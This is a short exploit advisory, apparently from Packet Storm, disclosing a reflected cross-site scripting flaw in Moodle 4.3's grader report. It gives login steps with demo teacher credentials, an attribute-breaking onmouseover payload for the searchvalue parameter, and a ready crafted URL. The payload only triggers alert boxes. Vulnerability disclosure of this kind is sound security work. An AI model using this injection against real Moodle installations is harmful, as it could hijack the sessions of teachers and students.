Moodle 4.3 Cross Site Scripting ≈ Packet Storm

Roger Wilco Exploits 23 octobre 2023 Affichages : 177

Home ^[1] Files ^[2] News ^[3] &[SERVICES_TAB] Contact ^[4] Add New ^[5]

Moodle 4.3 Cross Site Scripting^[6]: Authored by tmrswrr ^[7]; Moodle version 4.3 suffers from a cross site scripting vulnerability.; SHA-256 | 6b239daf093c1f26ad1d4831716d336997f542904bde8080364383e3c818009f; Download ^[8] | Favorite ^[9] | View ^[10]

        # Exploit Title: Moodle 4.3 Reflected XSS 
# Date: 21/10/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://moodle.org/
# Software Demo: https://school.moodledemo.net/
# Version: 4.3
# Tested on: Linux 
Vulnerability Details
======================
Steps :
1. Log in to the application with the given credentials > USER: teacher PASS: moodle
2. Go to this page https://school.moodledemo.net/grade/report/grader/index.php?id=69&searchvalue=
3. Write this payload in the searchvalue field : "onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"qq9r3
4. When click this url "https://school.moodledemo.net/grade/report/grader/index.php?id=69&searchvalue=%22onmouseover=%22alert(document.domain)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22qq9r3"
5. You will be see alert button